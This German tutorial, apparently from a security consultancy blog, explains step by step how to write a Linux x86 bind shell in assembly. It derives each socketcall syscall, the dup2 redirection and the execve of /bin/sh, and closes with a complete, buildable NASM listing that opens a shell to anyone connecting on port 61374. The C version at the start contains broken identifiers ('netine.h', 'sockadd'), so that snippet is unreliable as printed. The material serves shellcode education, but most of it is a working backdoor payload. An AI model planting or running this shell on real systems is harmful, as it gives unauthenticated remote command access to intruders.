Ist die Geschäftskontinuität nicht Teil der Sicherheit?
Andrea Covello
So schreiben Sie eine Linux Bind-Shell in Assembler
Die folgende minimale C Bind-Shell zeigt die nötigen Schritte auf und gibt einen Überblick.
#include <unistd.h> #include <sys/socket.h> #include <netine.h> int main(void) { int srvfd; int clifd; struct sockadd srv; srv.sin_family = AF_INET; srv.sin_port = htons(4444); srv.sin_addr.s_addr = htonl(INADDR_ANY); srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); bind(srvfd, (struct sockaddr *) &srv, sizeof(srv)); listen(srvfd, 0); clifd = accept(srvfd, NULL, NULL); dup2(clifd, 0); dup2(clifd, 1); dup2(clifd, 2); execve("/bin/sh", NULL, NULL); }
Da wir keine Libraries verwenden, können wir die Initialisierung des sockadd
Structs überspringen und mit der Socket-Erstellung starten:
srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
Die Socket-Erstellung erfordert die Verwendung eines System-Calls. Eine praktische Ressource um die benötigte System-Call-Nummer zu finden ist kernelgrok.com. Das Suchen nach __"sock"__
oder __"sck"__
gibt einen Eintrag zurück.
Die Manpage man 2 socketcall
offenbart, dass socketcall()
für diverse Aufgaben rund um Sockets verwendet wird. Hier ist ein Auszug aus der Manpage:
int socketcall(int call, unsigned long *args); socketcall() is a common kernel entry point for the socket system calls. Call determines which socket function to invoke. call Man page SYS_SOCKET socket(2) SYS_BIND bind(2) SYS_CONNECT connect(2) SYS_LISTEN listen(2) SYS_ACCEPT accept(2) SYS_GETSOCKNAME getsockname(2) SYS_GETPEERNAME getpeername(2) SYS_SOCKETPAIR socketpair(2) SYS_SEND send(2) SYS_RECV recv(2) SYS_SENDTO sendto(2) SYS_RECVFROM recvfrom(2) SYS_SHUTDOWN shutdown(2) SYS_SETSOCKOPT setsockopt(2) SYS_GETSOCKOPT getsockopt(2) SYS_SENDMSG sendmsg(2) SYS_RECVMSG recvmsg(2) SYS_ACCEPT4 accept4(2) SYS_RECVMMSG recvmmsg(2) SYS_SENDMMSG sendmmsg(2)
Der richtige Wert für den call
Parameter für socketcall()
muss eruiert werden. Der folgende Code-Abschnitt aus net/socket.c
zeigt, dass wir nach SYS_SOCKET
suchen.
SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user *, args) { ... switch (call) { case SYS_SOCKET: err = __sys_socket(a0, a1, a[2]); break; case SYS_BIND: err = __sys_bind(a0, (struct sockaddr __user *)a1, a[2]); break; case SYS_CONNECT: err = __sys_connect(a0, (struct sockaddr __user *)a1, a[2]); break; case SYS_LISTEN: ...
SYS_SOCKET
ist eine Preprocessor-Konstante deren Wert wir benötigen. Im für uns relevanten Kernel mit Version 5.4 ist diese in include/uapi/linux/net.h
definiert.
#define SYS_SOCKET 1 /* sys_socket(2) */
Als nächstes konsultieren wir die socket()
Manpage mit man 2 socket
um herauszufinden, welche Parameter mitgegeben werden müssen.
int socket(int domain, int type, int protocol);
Damit sind die benötigten Informationen zum Schreiben des Assembler-Codes vorhanden. Dieses Beispiel verwendet TCP über IPv4 und die Werte der dafür benötigten Konstanten sind wie folgt: AF_INET = 2
, SOCK_STREAM = 1
, IP_PROTO = 0
.
mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x01 ;; SYS_SOCKET call number for socket creation push DWORD 0x00000000 ;; IP_PROTO push DWORD 0x00000001 ;; SOCK_STREAM push DWORD 0x00000002 ;; AF_INET mov ecx, esp int 0x80 mov esi, eax ;; copy socket fd because eax will be needed otherwise
Die System-Call-Nummer für socketcall
wird in das eax
Register geschrieben und die Call-Nummer für SYS_SOCKET in ebx
. socketcall
erwartet einen Pointer zu den Parametern für die schlussendlich ausgeführte Kernel-Funktion, die durch den call
Parameter bestimmt wird. Die Parameter für socket()
werden in umgekehrter Reihenfolge auf den Stack geschoben. Die auf den Stack geschobenen Werte sind jeweils 4 Byte lang, da socket()
Parameter vom Typ int
erwartet. esp
enthält die Adresse der Spitze des Stacks. Der Start der Parameter-Liste für socket()
, die sich an der Spitze des Stacks befindet, wird in ecx
abgespeichert. Nachdem alles vorbereitet ist, kann der System-Call ausgeführt werden. Die socket()
Manpage informiert, dass der Return-Value der File-Descriptor des erstellten Sockets ist. Return-Values werden meist in eax
abgelegt.
In einem nächsten Schritt wird der Socket an eine IP-Adresse und einen Port gebunden.
bind(srvfd, (struct sockaddr *) &srv, sizeof(srv));
Die Call-Nummer für bind()
ist in derselben Datei definiert wie für socket()
, zusammen mit allen anderen Call-Nummern.
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ ...
Parameter müssen in umgekehrter Reihenfolge auf den Stack geschoben werden. Die Länge des Structs kommt somit zuerst auf den Stack. Die Manpage für bind()
gibt folgendes über das sockaddr
Struct bekannt:
The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings
bind()
kann mit verschiedenen Socket-Typen umgehen und erwartet den geeigneten Struct für den gegebenen Socket-Typen. Für unseren Socket ist dies sockadd
, welches folgendermassen definiert ist:
/* Structure describing an Internet (IP) socket address. */ #if __UAPI_DEF_SOCKADD #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ struct sockadd { __kernel_sa_family_t sin_family; /* Address family */ __be16 sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; };
Eine Analyse der Struct-Definition offenbart, dass die Länge des Structs 8 byte (2 shorts und 1 int) mit zusätzlichen 8 byte Padding ist. Unsere Adress-Familie ist AF_INET
, welche in bits/socket.h
als 2
definiert ist. __kernel_sa_family_t
ist ein typedef eines unsignierten Short, also muss hierfür ein 2 Byte langer Wert auf den Stack geschoben werden. Die Port-Nummer ist ebenfalls ein unsignierter Short wobei __be16
indiziert, dass der Wert in Big-Endian erwartet wird. Der in_addr
Struct enthält nur einen unsignierten Integer in Big-Endian (__be32
) um eine IPv4-Adresse zu speichern.
;; prepare sockadd struct push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; INADDR_ANY push WORD 0xbeef ;; port 61374 push WORD 0x0002 ;; AF_INET mov ecx, esp ;; save struct address ;; arguments to bind() push DWORD 0x00000010 ;; size of our sockadd struct push ecx ;; pointer to sockadd struct push esi ;; socket file descriptor mov ecx, esp ;; set ecx to bind() args to prep for socketcall syscall mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x02 ;; SYS_BIND call number int 0x80
Wie Funktionsargumente auch, werden die Mitglieder des Structs in umgekehrter Reihenfolge auf den Stack geschoben. Die Adresse zum Struct wird temporär in ecx
abgespeichert, da die Struct-Grösse für bind()
zuerst auf den Stack geschoben werden muss. Dieses Programm wird minimal gehalten und Error-Handling für bind()
-Fehler wird ausgelassen.
Die nächste Zeile in der C bind()
shell ist listen(srvfd, 0);
. listen()
markiert den Socket als einen passiven Socket, so, dass er zum Annehmen von eingehenden Verbindungen verwendet werden kann. Dies ist einfach bewerkstelligt.
mov eax, 0x66 mov ebx, 0x04 ;; SYS_LISTEN call number push 0x00000000 ;; listen() backlog argument (4 byte int) push esi ;; socket fd mov ecx, esp ;; pointer to args for listen() int 0x80
Der nächste Schritt ist, eingehende Verbindungen zu akzeptieren: clifd = accept(srvfd, NULL, NULL);
. Der zweite und dritte Parameter können mit einem Pointer zu einem geeigneten Struct und der Struct-Grösse besetzt werden. Dieser wird bei erfolgreichem Verbindungsaufbau mit Informationen über den anderen Netzwerkteilnehmer beschrieben. In dieser minimalen Bind-Shell, ist es nicht wichtig zu wissen, mit wem wir kommunizieren und NULL wird für beide Parameter mitgegeben. Dies vereinfacht auch den equivalenten Assembler-Code.
mov eax, 0x66 mov ebx, 0x05 ;; SYS_ACCEPT call number push DWORD 0x00000000 push DWORD 0x00000000 push esi ;; socket fd int 0x80
accept()
gibt den File-Descriptor des neuen Sockets der Verbindung im eax
Register zurück.
Alles was jetzt noch zu tun ist, ist das Duplizieren des Socket File-Descriptors auf das STDIN, STDOUT und STDERR unseres Prozesses und unseren Prozess durch sh
zu ersetzen. dup2()
wird folgendermassen deklariert:
int dup2(int oldfd, int newfd);
dup2()
schliesst leise den File-Descriptor newfd
und öffnet ihn erneut als Kopie von oldfd
.
mov ebx, eax ;; copy fd of the new connection socket to ebx for dup2() mov eax, 0x3f ;; syscall nunber goes into eax xor ecx, ecx ;; duplicate stdin int 0x80 mov eax, 0x3f inc ecx ;; duplicate stdout int 0x80 mov eax, 0x3f inc ecx ;; duplicate stderr int 0x80
man 2 execve
zeigt die Deklaration von execve()
als:
execve(const char *pathname, char *const argv[], char *const envp[]);
Wie zuvor, wird die System-Call-Nummer in eax
und die vebleibenden Parameter, sofern vorhanden, der Reihe nach in ebx
, ecx
und edx
geschrieben. Es ist zu beachten, dass das Ende des /bin/sh
Strings mit einem Null-Byte markiert ist.
mov eax, 0x0b ;; execve syscall xor ecx, ecx ;; no arguments for /bin/sh xor edx, edx ;; no env variables push DWORD 0x0068732f ;; hs/ push DWORD 0x6e69622f ;; nib/ mov ebx, esp ;; start of /bin/sh string int 0x80
Die gezeigte Bind-Shell ist simpel und leicht verständlich. Verschiedene Verbesserungsmöglichkeiten sind noch vorhanden, wie Grössenoptimierung oder das Schliessen des Sockets nachdem die Shell beendet wird.
Hier ist das gesamte Programm welches gebaut werden kann mit nasm bindshell.asm -o bindshell.o -f elf32 && ld -m elf_i386 bindshell.o -o bindshell
.
global _start section .text _start: mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x01 ;; SYS_SOCKET call number for socket creation push DWORD 0x00000000 ;; IP_PROTO push DWORD 0x00000001 ;; SOCK_STREAM push DWORD 0x00000002 ;; AF_INET mov ecx, esp int 0x80 mov esi, eax ;; copy socket fd because eax will be needed otherwise ;; prepare sockadd struct push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; INADDR_ANY push WORD 0xbeef ;; port 61374 push WORD 0x0002 ;; AF_INET mov ecx, esp ;; save struct address ;; arguments to bind() push DWORD 0x00000010 ;; size of our sockadd struct push ecx ;; pointer to sockadd struct push esi ;; socket file descriptor mov ecx, esp ;; set ecx to bind() args to prep for socketcall syscall mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x02 ;; SYS_BIND call number int 0x80 mov eax, 0x66 mov ebx, 0x04 ;; SYS_LISTEN call number push 0x00000000 ;; listen() backlog argument (4 byte int) push esi ;; socket fd mov ecx, esp ;; pointer to args for listen() int 0x80 mov eax, 0x66 mov ebx, 0x05 ;; SYS_ACCEPT call number push DWORD 0x00000000 push DWORD 0x00000000 push esi ;; socket fd int 0x80 mov ebx, eax ;; copy fd of the new connection socket to ebx for dup2() mov eax, 0x3f ;; syscall nunber goes into eax xor ecx, ecx ;; duplicate stdin int 0x80 mov eax, 0x3f inc ecx ;; duplicate stdout int 0x80 mov eax, 0x3f inc ecx ;; duplicate stderr int 0x80 mov eax, 0x0b ;; execve syscall xor ecx, ecx ;; no arguments for /bin/sh xor edx, edx ;; no env variables push DWORD 0x0068732f ;; hs/ push DWORD 0x6e69622f ;; nib/ mov ebx, esp ;; start of /bin/sh string int 0x80
Unsere Spezialisten kontaktieren Sie gern!
Andrea Covello
Michèle Trebo
Lucie Hoffmann
Yann Santschi
Unsere Spezialisten kontaktieren Sie gern!